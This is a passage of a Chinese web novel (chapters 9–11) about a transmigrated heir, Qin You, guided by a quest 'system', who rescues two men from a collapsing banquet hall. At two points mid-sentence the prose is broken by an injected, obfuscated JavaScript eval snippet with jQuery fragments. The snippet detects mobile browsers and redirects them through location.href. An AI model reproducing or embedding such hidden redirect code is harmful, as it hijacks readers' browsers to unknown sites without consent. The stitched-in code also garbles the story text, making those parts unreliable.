它点开任务列表,看到详情的瞬间,倒吸一口凉气,险些吓到死机。
【完啦……】系统由喜转悲,声音里满满的绝望,【宿主,任务失败了,这下全完了……】
秦游住脚:【任务失败?】
【都是宿主不好,早都说了让你早点亲亲目标,多亲几下,你偏偏拖到最后一秒,还只蹭了一下,那算亲嘛,那明明是碰!!】
系统破罐子破摔,开始诉苦,【而且搞得这么极限,一丁点容错率都没有,现在肯定是亲一次不够,任务进度不满,又没时间补足,导致任务失败了……】
它把面板投放出去,上面清楚明白地展示着。
紧急预案任务【已失败】
“已失败”三个字的字体鲜红,没有认错的可能。
系统记起分离,又开始伤心告别:【宿主,永别啦呜呜呜……】
秦游皱眉,看了一眼身前的严庭深,问它:【任务失败,我还能逗留多久?】
【啊?逗留?】系统猛地惊醒,【对啊!任务失败,能量值被扣到负数,宿主这具身体会立刻死亡,怎么会还留在这呢,不对不对,这不对劲!】
秦游对它的靠谱程度已经没指望:【所以紧急任务不用完成?】
【那怎么可能啊宿主!】系统也摸不清头脑,【除了有足够的能量值,那就只能是主线进度有突破性进展,才能够抵消任务失败惩罚。可我们现在一个重要剧情节点都没触发,真正的主线连影子都没看见呢,哪里来的突破性进展啊?】
秦游说:【你没有方法查清楚?】
系统迟疑着说:【方法是有一个,宿主通过系统向主系统申请,不仅可以获得查看主线进度的一次性查阅权限,还能查看进展的具体内容。可是宿主,这个申请资格很珍贵,每个宿主在每个世界只有一次机会……】
秦游说:【申请。】
系统又劝:【宿主,我们能留下来,说明已经安全了,这个机会说不定以后用得到呢,真的要现在就用掉吗?】
秦游说:【用。】
既然主线有进度可以覆盖失败惩罚,这个权限运用得当,可以为他另辟蹊径。
【……】系统拧不过宿主,它只能听命行事,【好的。已向主系统申请查阅权限。】
秦游陪严庭深下楼到了餐室,提示音就响起。
【权限已到账。】
系统连忙打开面板,准备为宿主实时记录。
结果宿主关心的内容非常简明扼要,一目了然。
主线进度:0.6%
主角感情进度:0.6%
一条珍贵权限就换来了这两排一眼看完的数据,系统心疼得滴血:【……宿主,权限已使用完毕。】
秦游说:【主角感情进度,等于主线进度?】
系统说:【是的。】
秦游眉间微动:【他们两个的感情不需要我出现就能推进,你确定这个任务需要外力?】
【哦哦哦宿主你误会了!】
系统忙解释,【主线任务中的主角,指的是主角攻严庭深一个人,不是主角攻受!】
秦游挑眉,直觉怪异:【我没做严庭深的任务,为什么会有他的感情进度?】
【哎呀宿主你又误会了!】
系统接着解释,【是这样的,感情进度和好感度不同,任务好感度是唯一性的,指任务目标对宿主的好感值,可这不代表目标对宿主存在特殊感情,只是为顺利度过正式剧情做准备;而感情进度,指的就是特殊感情啦,可这不是唯一性的。】
说到这,它试图举例,【比如你们人类,可以同时喜欢好多个人,和不同的人有不同的感情进度,任务是取其中最高值,不论该数值与谁有关。当然啦,由系统选定的目标,肯定是最佳人选!】
也就是说,主角的感情波动,不一定和任务有强联系。
秦游思绪游转:【进度突破的具体时间是什么时候?】
系统老实回答:【不知道。主线进度记录还没有生成呢。】
说完它大胆猜测,【可能就在这几天吧,宿主你把目标接到家里来住,又对目标这么好,他们联系的时候,目标在主角面前对你大加夸赞,主角表面不屑一顾,心里却不知不觉的吃起醋来——】
【……】秦游说,【行了,别编了。】
系统委屈:【好的……】
秦游问出疑点:【既然只要提升主角感情进度,为什么选定裴笙做任务目标?】
【因为主角根本就是铁石心肠嘛,原剧情中没有动心过,属于究极难度,不会成功的……】
系统有理有据,【宿主你看,主角的进度,突破性进展竟然只有百分之零点六,连百分之一都不到呢!再看看我们的目标,好感度只是一次节点任务就涨了足足百分之十,攻略难度的对比实在太惨烈了!】
0.6%
10%
两个数值放在一起,对比的确显而易见。
秦游也直接放弃了跳过任务直接走主线的捷径。
比起主角,目标显然更容易接近。
何况如果选一个男人攻略,挑一个顺眼的当成朋友相处,总好过对着一个碍眼的人虚情假意。
【还有就是,目标和主角算竹马竹马,在原文里是最有机会突破主角心理防线的,所以宿主帮他觉醒感情,他就能去攻下主角了!】
系统说完,小小拍宿主一个马屁,【嘿嘿最重要的关键,非宿主莫属啦,只干预了一个任务,主线就有进度了!而且没想到这个任务这么简单,只要宿主出马,通关奖励还不是手到擒来?】
正事聊完,秦游关了面板:【怎么,任务失败不是全是我的错吗?】
【……】
系统疑似紧急死机了。
秦游转向自出门起就一言不发的严庭深。
三次早饭,餐桌上每次都很沉默。
但这次再沉默下去,以目标这一看就心思沉重的性格,大概会多想刚才的事,到时候恼羞成怒就不好了。
秦游想着,挑起一个话题:“明晚八点我要出门一趟,有个慈善晚宴。”
严庭深微顿,看不出秦游聊起行程的目的,回道:“我也会参加。”
任务就是救他出险境,秦游没有意外:“我送你过去?”
严庭深说:“不用,我从公司出发。”
秦游说:“公司?你的伤还没痊愈,没必要这么折腾。”
严庭深说:“几趟车程,我还没有那么虚弱。”
见他坚持,秦游转而说:“那你小心一点,明天——”
【宿主!】
假装掉线的系统忙蹦出来,【你忘记了,防止后续事件偏移,剧情节点禁止更改!你千万不要提醒目标那天会发生危险,否则很麻烦的!】
“小心?”久没听到后话,严庭深看向秦游。
“……”秦游微笑改口,“明天预报会降温,你身体不好,这两天一直在下雪,小心着凉。”
闻言,严庭深薄唇微抿,借喝水的动作,掩起眸光。
他看得出,秦游虽然提出合作,但日常相处,更多是把他当成朋友相处,亦或当成病人照顾。
归根究底,对方仍把他当成四岁时的恩人。
严庭深放下水杯,眼底深沉。
四岁时的那天雪夜,究竟发生过什么?
—
饭后,秦游和严庭深再次各自回房。
系统还在后怕:【宿主,以后有关于剧情节点的事,你都千万别插手,包括送目标去参加宴会,看上去好像是小事,可脱离了既定路线,分开了主角攻受,说不定也是会出现偏移的!】
秦游只问:【任务里的困境,具体是指什么?】
系统说:【不知道。为了保证爱情之路的真实性和完整度,该类任务不会向宿主解锁全部剧情,具体内容需要宿主自行探索与完成。】
直白地说,宿主就是主角爱情故事的垫脚石。
秦游早已经领会系统对于“爱情之路”的偏门理解,没再深聊。
正巧电脑传来视频会议的铃声,他走到桌前坐下,点进会议,照例把平板放在电脑前。
不知过去多久,电脑里传来秦恒钟的声音。
“秦总经理,说说你的看法。”
秦游抬眼。
视频里的崔凌坐得笔直,面带菜色。
他看着秦游老神在在地微坐起身,操作电脑的样子,想到这个二世祖刚才全程打游戏,肯定连资料都没看,能说出鬼的看法!可让秦游现在当着这么多高层的面丢人现眼,脸上最挂不住的还是来旁听例会的董事长。
“董事长,这个——”
秦恒钟用眼神阻止了崔凌。
崔凌还没叹气,会议室里就响起秦游语气徐缓的分析。
他以为秦游是想胡言乱语,蒙混过关,可只听完第一句话,他睁大了眼,立刻转脸看向视频里那张处变不惊的脸。
他可以百分之百确定,秦游每次会议就是在打游戏,八成一句讨论都没听过。
因为他发给秦游的所有资料,直到一分钟前,被董事长问到的那一份才显示被打开……
可秦游在这么短的时间内,只看两眼资料就能分析利弊,就算说得不多,听起来也平平无奇,简直像在敷衍,偏偏全是对的。
但同等条件上,就算让他这样敷衍,他自认做不到……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406577|153476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
而秦游,开会打游戏,会后整天无所事事,对商务还能有这么敏感的嗅觉……
这不是二世祖。
这简直是商业奇才啊!
桌前其余众人没有他这样吃惊。
旁听几天会议,谁都能说上那么几句见解。
秦游说完,随手翻完资料,看到其中一页,问了一句:“这是严家旗下的产业?”
听到他的话,崔凌压下心头重重揣测,回说:“没错,最近有几个严家子公司的业务出了点问题。”
会上,一个中年男人有意无意地指出:“好像不是出了点问题,听说是对小秦总有点意见,不太信得过新上任的总经理。”
左一句好像,右一句听说,看起来是传闻,但其余人听完都是自顾自地低头动作,没有对此意外,显然全都“听说”过。
秦游往长桌前扫过,只一眼,看到明面上露出幸灾乐祸的,就不止一手数。
加上包藏祸心的,这间会议室至少有一半的人,对原身的存在不怀好意。
“捕风捉影的东西不要拿到会上。”
听到秦恒钟的话,之前出声的中年男人讪讪点头:“是,董事长。”
秦恒钟点了点桌面:“继续。”
秦游已经重新打开平板。
这些利益之间的倾轧和争斗,他上辈子卷入,是迫于即便只存在于作秀的收养抚育之恩,这辈子自然不会再参与。
直到散会,他正要起身,秦恒钟的私人视频打了过来。
接通后,秦恒钟开门见山:“秦游,你最近不是和庭深走得很近吗,怎么会和严家闹得不愉快?”
秦游说:“可能是误会吧。”
毕竟他和严庭深走得不近,并且确实不愉快。
不过,他对严庭深采取的战略只是无视,没想到对方连这个度量都没有,实在不够大气。
但整个严家,相关的他只见过严庭深,不会有第二个人有这么大的能力,利用业务往来针对他。
“误会?”
秦恒钟皱眉,“明天的宴会,庭深也会参加,你们晚上正好聊一聊,把误会解除。”
秦游挑眉:“我尽量。”
听出他的漫不经心,秦恒钟看着视频画面,忽然放缓语气:“我知道,这几天你一直憋在泽水湾,心情不好,你放心,向赫的事,我会给你一个交代。”
秦游唇边微扬:“好。”
没有任务,他在哪里都是一样,秦恒钟愿意深入调查祁向赫,正合他意。
视频另一端,秦恒钟又嘱咐他几句,才挂断通话。
“再忍一忍,过几天我再接你回家。”
秦游一顿,看着跳回桌面的电脑页面,敛眸片刻,摘了耳机。
家。
秦恒钟口中,这个字显然不止是一个住处。
可惜这种东西,他从没有过。
上辈子不得已为养父一家开疆拓土,换来的只有更深的猜忌和提防,那个家看似其乐融融,却不是他立足的地方。
如今重活一次,但秦家,也并不真正属于他。
【宿主,晚上的任务,你打算怎么做呀?】
被系统打断思绪,秦游失笑。
有空去想这种微不足道的闲事,他现在果然成了闲人一个。
系统的声音永远带着孜孜不倦的积极和朝气:【虽然不能把危险透露给目标,可是宿主你也要早做准备,你的伤还没好呢!】
秦游说:【见机行事吧。】
除了任务内容,任何剧情都不可知,盲目准备也是白费精力,到了现场再布置也不迟。
【好的。】系统又说,【还有下午三点钟的康复训练,宿主,虽然没有任务了,目标好感度还是要争取的,你不要忘记。】
秦游说:【嗯。】
提起这个,他想起秦恒钟的话。
秦恒钟至今还在误会他和严庭深走得近,想维系这个误会,最好是能解决严家业务上的小麻烦。
不知道以目标现在百分之十的好感度,能不能帮他在严庭深那做做工作。
当然,目标只是个助理,做不到情有可原,但试试总没错。
反正不论提不提起这件事,他原本都要帮目标养伤。
—
下午三点整,秦游准时出门。
还没去隔壁敲门,他看到严庭深也从门内出来。
“走吧。”
碍于早上失败的意外,秦游和严庭深保持一臂距离,一起到了康复室。
训练时他没开口,等严庭深中场休息,他递去毛巾,仿佛随口一提:“早上开会,听说严家和秦家的业务出了点小问题,这件事你知道吗?”
系统瞬间敏感:【宿主!人设!不能接受目标任何帮助,更不能索取!】
秦游说:【放心,我只是问他知不知道,闲聊而已。】
【哦……】系统放松了警惕,【那你多聊聊,说不定会涨好感度呢。】
“小问题?”
严庭深看向秦游,“这件事我不清楚。什么问题?”
秦游轻笑:“你不清楚就算了,不是什么大问题。”
严庭深看着他,也没再追问。
秦游也喝了口水,笑意微深。
几天相处,他很了解目标的性格。
说得少,做得多。既然不问,那就肯定要去做了。
他可没有主动要求帮忙,这怎么算违反规则?
10. 第 10 章
“严总,已经查清楚了,是……”
通话另一端的助理说到这,有些踌躇,“是您父亲,严先生的意思。”
严庭深淡声道:“恢复合作,逐一定损。通知下去,所有参与决策的高层,按比例赔付这几天的损失。”
助理熟知自家老板的作风,对这样毫不留情的命令应对自如:“好的。”
其实大家都知道,严立辉虽然持有公司股份,可没有经营权,不担任任何职务,严格意义上来说,是没有权力干涉任何业务的。
他唯一让人退让的头衔,就是作为严总的父亲。所以平时做些什么,只要不损害公司利益,严总向来也是懒得理会。
这次按理说动作也不算大,而且严总最近远程办公,时间有限,不知道是哪个不长眼的,拿这点小事让严总烦心。
倒是严总这次对严立辉这么不留情面,以后下面那群人也能看得清楚,走这一位的关系,是讨好不了严总的。
别说他们,严立辉自己也不会好过。
“对了严总,严先生今天又来公司问您的下落。”
助理说,“明天您要到公司上班,我们,可能拦不住……”
“公司的安保是摆设吗。”
听到这句话,助理才开始惊讶起来。
严总以往对严立辉尽管冷漠,却也是公事公办,从不会像今天这么绝情。
老板今天这是怎么了,不高兴?
助理心里琢磨,又不敢明说,只恭敬回道:“好的,我明白了。”
之后再请示过几份文件内容,通话才结束。
严庭深放下耳机正要起身,左腿划过侧柜,神经牵起熟悉的酸麻,让他不由记起今天早上发生的意外。
脑海里闪过几次新旧的画面,严庭深握着扶手的左手紧了紧,闭眼清空思维,继续按在桌面起身,走向床边。
下午秦游有意提及的小问题,他已经料到和严立辉有关。
他没想到的,是严立辉会这么明目张胆,只为了一次口角,就公然借公司的名义打压秦游。
这样的蛀虫一旦泛滥,上行下效,公司永无宁日。
再者,秦游是为他被严立辉记恨,这件事,他自然不该袖手旁观。
严庭深想着,看过时间,上床睡下了。
第二天,他和秦游一起吃过早餐,回房没多久,门外突然传来敲门声。
“是我。”
严庭深说:“请进。”
他看向推门进来的秦游,对上那张带笑的脸,又收回视线,继续浏览邮件。
“在忙?”秦游笑说,“吃点水果吧,补充维生素。”
他是真的没想到,目标能在这么短的时间内,把秦严两家的摩擦解决。看来在严庭深心里,目标的地位的确与众不同。
严庭深看了一眼他放在桌上的果盘:“我不吃甜食。”
“不吃甜食?”秦游似乎为难,“一时半会儿,我也买不到黄连啊。”
严庭深打字的手一顿。
秦游轻笑,走到他身旁,随意坐在桌边:“那你喜欢吃什么?”
严庭深说:“我对吃用没有太大的偏好。”
小问题昨晚解决,他看得出秦游今天的来意,不过既然秦游不提,他也没去挑明。
秦游说:“那玩乐呢?每天工作这么久,累不累,我请人上门给你做个按摩?”
严庭深说:“不必了。”
他滴水不漏,秦游无奈,抬腕看过表,转而说:“你今天几点去公司?”
严庭深说:“下午两点。”
秦游说:“那等你忙完,十点吧,把训练做完,晚上回来肯定没时间。”
严庭深说:“好。”
秦游从桌前起身,离开前,顺手从果盘里拿了一颗淡色草莓。
这草莓不像水果,倒像艺术品,晶莹剔透,饱满圆润,吃起来也清爽滋润,味道不错。
他正要再拿一个,余光扫见严庭深的眼神,右手顿住。
严庭深看过缺了顶端一角的果盘,再抬眼看向秦游。
秦游面不改色,含笑重拿起一个果叉递给他:“我帮你尝过了,不是很甜。试试?”
严庭深没去接。
秦游清咳一声,随手放下,对他说:“我十点再来。”
严庭深看着他转身,视线往下,落在果盘里剩下的草莓上。片刻,还是移开了目光。
【目标真是小气鬼,不吃甜食,食物放着也浪费嘛,宿主你就吃了一个还被他盯着看。】系统感到奇怪。
秦游说:【送给他的东西就是他的,他当然有权支配。】
想到那盘水果是他送给目标的谢礼,本来就是礼轻情意重,确实不该动。
秦游摇头。
算了,下次再补一份其他的吧。
他最后看过已经继续办公的严庭深,关上了房门。
—
到十点,秦游陪严庭深锻炼结束,把人送回房间,正要走,不经意看到桌上的果盘,眼底悄然融进笑意。
他转向严庭深,等人坐下,才问:“喜欢吗?”
严庭深顿住,看向秦游:“什么?”
秦游挑眉往果盘示意:“甜食。”
严庭深松弛双肩,淡声道:“不算很甜。”
秦游笑了一声,但没再久留:“休息一会吧,补足精神。”
下午赶去公司。
晚上困在宴会。
目标今天还有一场硬仗要打。
严庭深颔首:“嗯。”
秦游也转身回房。
和敬业的目标不同,他不打算从公司出发,在家里等司机上门就够了。
崔凌也不负所托,天色擦黑,匆匆赶到。
在客厅看到打游戏的大少爷,发现这次大少爷手边竟然还备上了瓜果点心,他本来心头立刻升起一股恨铁不成钢的郁气。这一看更像个玩物丧志的草包了!
可想到昨天早上秦游在例会上的表现,他强行把郁气咽了回去。
“小秦总,”崔凌松开攥起的拳头,示意身后拿着西装的秘书上前,“换过衣服,我们该出发了。”
看到他,秦游把平板放下,又对一旁来通报的管家说:“这两个,明天多备一份。”
“好的。”
“……”崔凌的拳头又攥住了。
秘书已经到秦游面前:“小秦总?”
秦游接过衣服去衣帽间换上,和几人一起出门。
路上,崔凌介绍说:“小秦总,这次的慈善晚宴主题是自然,主办方特意把宴会地点定在了山里,一个保存完好的古代木质阁楼。”
秦游看向车窗外的鹅毛大雪,想到任务里的困境:“紧急遇险的安全措施检查了吗,做得怎么样。”
崔凌没想到他考虑得这么细致:“因为地点特殊,我们确实都核对过了。你放心,主办方对整个阁楼做了加固处理,而且宴会只在一楼开展,不会开放二楼,各项突发状况的应对措施也都很完善,就算大雪封山,也能在十分钟内全部撤离。”
【天真!】
系统吐槽,【真这么安全,目标就不会有危险了。】
任务标注的坐标就在宴会场内,说明主办方完善的应对措施,还是存在疏漏。
秦游说:“调一架急救直升机过来。”
崔凌皱眉:“小秦总,主办方有急救通道,我们有必要自己调人过去吗?”
秦游言简意赅:“我怕死。”
崔凌噎了一句,半晌才说:“好,我马上安排。”
秦游说:“记住,进去之后注意安全,不要放松警惕。”
崔凌说:“……好的。”
打完电话,他不禁看了看秦游。
上次在公司实打实的差点遇害,大少爷当时根本满不在乎,这才几天,换成安保比医院专业的宴会,大少爷反而开始怕死了?
但下一秒,车厢里响起游戏打开的音效。
换游戏了?
崔凌看过去,游戏名正巧出现在屏幕正中。
植物大战僵尸?
再看对游戏比开会时更感兴趣的秦游,崔凌心里长叹一声。
任重道远!
—
汽车在红毯前缓缓停稳。
秦游转脚下车,看向面前占地比预料中宽阔的建筑。
说是古代木制阁楼,这里已经和这三个词都没太大关系。
四面新起的外墙环绕阁楼,看不出丝毫木质结构,再往前,还没进门,可以看到亮如白昼的场内,一株雪白的枯树立在场地中央,名流们在各色伸展的树枝下觥筹交错,在各类艺术展品旁谈笑风生。
众人头顶,巨大的海浪般水晶吊灯薄厚不一,覆盖全场,投下的光依照角度几乎全落在展架,美轮美奂。
崔凌递了请柬,跟在秦游身后进场,见他好像在找人,上前一步说:“小秦总,董事长今天不来。”
秦游看他一眼:“我找阿笙。”
“……”崔凌说,“他还没到。”
严庭深如果出现在这,到处是想结交攀谈的人,一眼就能看到。
秦游看向面板上的倒计时。还有三十六分钟。
崔凌说:“小秦总,虹峥科技的李总过来了,他旁边的那位是——小秦总?”
秦游摆手:“我去一趟洗手间。”
听到的时候,崔凌信了。
所以秦游转身,他第一时间没能发现异常。
当后知后觉看到对方后腰明显的平板轮廓时,一错眼的功夫,对方已经消失在人群里。
“……”崔凌深深吸气。
【宿主,你怎么跑到角落里玩游戏啊,任务还差半小时就开始了,建议在门口等目标进来,然后寸步不离地守着他?】
秦游说:【剧情不能更改,我守着他有用吗?】
系统无言以对,只觉得不对:【呃……】
秦游说:【到最后三十秒再提醒我。】
剧情节点和紧急任务不同,发生的时间地点都很固定,他有精准的坐标,事发的时候赶过去,时间充足。
至少这场宴会,就交给崔助理去应酬吧。
可惜他没能清静到结束。
倒计时剩一分钟,两道脚步声走了进来。
“云哲,这几天看你脸色一直不太好,怎么了,遇到麻烦了?需要我帮忙吗?”
“……暂时用不上。”
“真的有麻烦?很棘手吗?”
“有一点,要是出了差错,没有我好果子吃……”
“这么严重!”
“唉,你别问了,跟你说了你也不明白——有人!”
交谈的两人同时跨步走进包厢。
看到秦游,其中一人一脸意外。
“哥?”
秦游抬眼扫过两人。
说话的看上去彬彬有礼。
另一个进门时一脸阴沉,表情收敛得很快,很快变得温文尔雅。
秦游的视线在他脸上停留两秒。
不知怎么,看上去有点眼熟。
“哦!哥,他是我朋友,也是我大学同学,孟云哲。”
秦游的目光循声微转。
会直接用这个字称呼原身的,书里只有两个人。
一个是原身堂妹;另一个,则是祁向赫的亲哥,他的另一个便宜表弟,祁新维。
比起祁向赫,祁新维要聪明很多。
虽然同样不把原身放在眼里,但祁新维表面和原身保持着良好关系,直接从原身手里捞到不少好处,直到大结局,原身都以为祁新维是真心对他。
“云哲,这就是我前两天跟你提到过的,”
祁新维笑着跟秦游打过招呼,又对身旁的同伴说,“我哥,秦游。”
秦游看向孟云哲。
装出来的风度翩翩,和真正的性格温和相形见绌,看刚才变换的脸色,这个大学同学能和祁新维混在一起,可见是同丘之貉。
孟云哲也打量着秦游,心里不禁诧异。
面前这个气定神闲的男人,身上的坦然自若看起来不是装的,就算看不出城府多少,也完全不像祁新维口中那个在国外纵情享乐的纨绔。
想到祁新维在他面前表露担心,提起祁向赫和秦游的“误会”,孟云哲暗自冷笑,看这模样,是不是误会,人家清楚得很吧。
祁新维已经到秦游面前:“哥,晚宴都开场了,你不去竞价吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14406578|153476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
看到秦游掌下的游戏界面,他脸上的笑更真实一些,“怪不得我在里面看到崔助在到处找你,原来是在这里躲清闲。”
秦游对虚与委蛇不感兴趣,见时间也快到了,索性起身:“崔助理在找我?他在哪。”
祁新维一愣,没想到他说走就走:“我来的时候,看到他在3号拍品旁边。”
“嗯。”秦游略一摆手,正要出包厢,听到头顶突然传来隐约的细碎“咔嚓”声,脚下一顿。
他看了一眼无知无觉的两人,继续往前。
如果不是远离热闹的会展中心,这么轻微的动静,根本察觉不到。
秦游看向倒计时。
只剩四十秒了。
三十秒,系统准时提醒。
【宿主!】它不甘心地说,【你又卡在最后关头,到时候又失败了怎么办啊!】
秦游说:【别急。】
意外不能阻止,和车祸一样,他在事后赶过去救人就够了。
【我就知道!】走近坐标,系统突然出声,【宿主你看嘛!前面全是人,这样怎么挤进去?】
这种突发状况,秦游也没料到。
时间还剩十秒,他和目标的距离只剩最后五米,可坐标前,是一群等着来给严庭深递名片的嘉宾,几乎堵死了路。
这个严庭深,无视这么久,还能关键时候给他惹麻烦。
正在这时,天花板上的水晶吊灯忽然闪烁起来。
周围一静,随后是窃窃私语。
“怎么回事?”
“电力出问题了?”
众人还在四处张望。
下一刻,头顶忽然传来“啪”的一声巨响!
大厅内遽然一片寂静。
秦游趁乱拨开人群,终于看到目标的方位。
对方确实和主角站在一起。
一秒不到的时间,他迅速看清对方身上的装束。
一套青墨色的西装。
严庭深只穿了衬衫,很好分辨。
——沉闷骇人的声音持续下坠。
倾塌的木质阁楼二层顷刻压垮奢华精致的现代天花板,火花四射,一股逼人的冷意裹挟着恐惧,瞬间涌了进来。
场馆内彻底黑了。
尖叫声也随之此起彼伏。
秦游皱起眉头,逆着恐慌的人流,走向严庭深所在的位置:“阿笙?裴笙?”
但他的声音被混乱的场面和呼啸而来的寒风淹没殆尽,几乎传不出他身前。
所幸没多久,人群跑空。
他走到坐标地点,没有灯光,他只能靠印象和单手摸索:“阿笙?”
【左边有冰柱掉下来,宿主小心!】
秦游堪堪侧身,从天而降的半人高冰柱摔他脚下,四分五裂的碎冰撞碎一旁的玻璃展柜,又是一声“哗啦”巨响。
黑暗里,一声闷哼随着玻璃碎片响起。
秦游循声过去:“阿笙?”
没有回音。
昏过去了?
秦游蹙眉蹲身,摸到一张微凉的脸。
寒风肆虐,大雪飘飞,从暖气充足的室内陡然换成这样的恶劣环境,如果受了伤,在这个时候陷入昏迷,可能会有生命危险。
“阿笙?还是——”
空中,直升机升空的轰鸣又混入风声,打断了秦游的话。
好在有忽隐忽现的灯柱钻进缝隙。
借这点微弱的光,秦游看到对方肩上熟悉的青墨色外套。
他心下稍松,单手把对方左臂绕过肩膀:“阿笙,还能动吗?”
怀里的人一动不动,他只好把人往上拖了拖,半扶半抱——
嗯?
秦游掌下动了动。
手感好像不太对。
系统急了:【宿主你怎么停了!快走啊,这里说不定还要继续塌呢!】
直升机的轰鸣在上空盘旋。
灯光太暗,怀里的人昏迷不能抬头,秦游也没有空余的手去动他,借光再确认过外套颜色,他正要往前——
见他看过去的地方黑漆漆一团,系统又急了:【宿主你怎么又停了,快出去啊,这里不安全!】
秦游皱眉收回视线,单臂抱起怀里的人,按系统规划的路线,快步走向门外。
到半途,一身狼狈的崔凌急匆匆带着人迎了过来。
看到秦游,他长松一口气,又惊又喜:“太好了,小秦总,你没事!”
秦游没时间听废话:“里面还有人,你去——”
话间,他不经意往下扫了一眼,看到怀中人的侧脸,面色微沉。
系统倒吸凉气:【宿主,救错人了!】
秦游随手把主角扔上担架车,对崔凌说:“你带他先回去,再找个人过来接我。要快。”
崔凌还没说话,就看到秦游已经转身折返。
“小秦总!”
秦游大步流星回到任务坐标点,走向之前看过的黑暗角落。
主办方的直升机已经全部升空,灯光也逐渐明亮。
秦游挥开拦路的断枝,看着捂着手臂靠坐展台的严庭深。
严庭深也看向他,薄唇微动——
“刚才,为什么不叫住我?”
秦游俯身按住他的肩膀,看到他泛紫的唇色,看到他脸上的划伤,“你想死在这吗?”
严庭深抿唇。
肩上的力道重得无从挣脱,他下意识抬手,握在秦游腕间,才察觉掌下的温度也全然冰冷。
他五指微紧:“秦游,你——”
“抱住我。”秦游把他的手带到肩上,再俯身托住他的腿弯,把人打横抱起。
严庭深浑身僵硬,扶在他肩颈的手不由用力:“放我下来!”
秦游把人往怀里按住,低头看他,沉声道:“不要乱动。”
对上这道与平常截然不同的眼神,严庭深移开视线:“我可以走。”
秦游只问:“你真的想变成残废吗?”
严庭深说:“我——”
秦游打断了他:“好了。别再浪费时间了。”
语气也不容分说。
严庭深看他良久。
渐渐,握紧的手缓缓松开。
11. 第 11 章
‘……还能动吗?’
耳边的声音平缓,沉稳,有种淡淡的熟悉感觉,却记不起到底是谁。
微暖的手落在身上也稳重有力,终于在仿佛冰天雪地的寒冷中为他带来一丝热流。
裴笙挣扎着,想睁开双眼。
可冻僵的身体无法动弹,被砸到的背后痛得锥心,他几乎失去意识,灌铅似的眼皮也不再顺应指令。
他感觉到身旁的人承担起他全身的重量,这个桎梏一般的环抱把他牢牢锁在怀里,让他束缚,又倍感安心。
是……庭深吗?
不知过去多久,裴笙在昏沉中被对话惊醒。
“……带他先回去……接我……要快……”
忽明忽暗的灯光四起。
裴笙无力地躺在担架车上,呼吸微弱短促。
飘飞呼啸的雪色里,耳边尽是凌乱的嗡鸣,他用尽最后的力气,往声音传来的方向看过去。
是……他?
全然的黑暗涌上脑海。
裴笙彻底陷入昏迷。
再醒来时,刺骨的寒风已经不见,身体也略微回暖,只有头昏得厉害。
裴笙睁开双眼,刚动了动,背后牵连的刺痛又片片泛起,他皱眉咳了两声,喉咙也刀割似的疼。
“醒了?”
裴笙转过脸,看到崔凌,他张了张嘴。
“没力气就别说话了。”
崔凌告诉他,“你发了高烧,医生说万幸小秦总把你救出来得及时,否则你受伤又昏迷,失温的话,可能命都保不住。”
听到秦游的名字,裴笙抿住嘴唇。
他没看错,的确是秦游救了他。
这样算起来,他已经欠下秦游两条命了。
见他沉默,崔凌也看向飞机窗外,没再说话。
这一次,幸好大少爷有先见之明,他才能在主办方展开救援之前,先把裴笙带出来。可小秦总那边……
“严……”裴笙说出一个字,又重重咳嗽两声。
他身上还穿着严庭深的外套。
宴会上,意外来得突然,砸下的冰柱带着雪水泼在身上,他被瞬间浇透,如果不是庭深给他这件外套保住一点温度,他也许连最后一丝意识都没有。
现在他被秦游救了出来,那庭深呢?秦游自己又怎么样?
崔凌坐在一旁,手里攥着持续通话中的手机,态度有些冷淡:“放心,严总那边,小秦总已经去救了。”
秦游走得那么匆忙,原路返回,一看就是着急救心上人去了。
只是他没想到,大少爷心地会这么好,就算平常一眼都看不上裴笙,还是不顾自己的身体,不惜冒着风险,也把裴笙救了出来。
按秦游的性格,他还以为会只救严庭深一个。
不过,想想大少爷手臂上的伤还没好,这次又要伤上加伤,崔凌就很难对裴笙有好脸色。
每次遇上这两位,不是车祸就是塌房。
大少爷也是肉体凡胎,哪里经受得了这种折腾。
最重要的是,伤完又伤,养了又养,小秦总什么时候才能开始办正事?
“……出来了出来了!”
耳麦里传来救援人员激动的声音,崔凌忙问:“人怎么样?”
考虑到裴笙也在关注,他把通话信号同时连接到对方耳麦。
“秦先生很好,救出来的人意识也清醒,好像受伤了——”
听到这句话,一旁裴笙呼吸微紧。
庭深受伤了?
“——是秦先生抱出来的。”
崔凌顿住了。
裴笙也愣了愣。
“抱出来?”崔凌脱口问了一句。
“对对对!”对面再说话时的声音带着气喘,正在跑动。
崔凌还想再问,对方显然没时间再聊,已经挂断。
听着耳麦里的“嘟”声,崔凌下意识看向裴笙,透过这张脸,记起他的顶头上司。
那个生人勿近的严总。
不是……
人清醒?
抱出来?
严庭深?
这……
救错人了吧?
—
与此同时。
挂断的通话另一端。
“秦先生,这边!”救援组齐齐小跑着迎向秦游。
秦游正要过去,怀里忽然挣了挣。
“放我下来。”
秦游低头看向严庭深。
严庭深道:“我没事。”
秦游往人来的方向看了看,再看他一眼:“你确定?”
严庭深颔首:“嗯。”
秦游于是俯身放他落地。
严庭深堪站定,身旁传来一句。
“死要面子活受罪。”
严庭深微顿,转脸对上那双似笑非笑的眼睛,又收回视线。
秦游也转向赶来的救援人员,从对方手里接过羽绒服,披在严庭深身上,继而对他往轮椅示意:“坐。”
严庭深眉间稍有痕迹:“不用。”
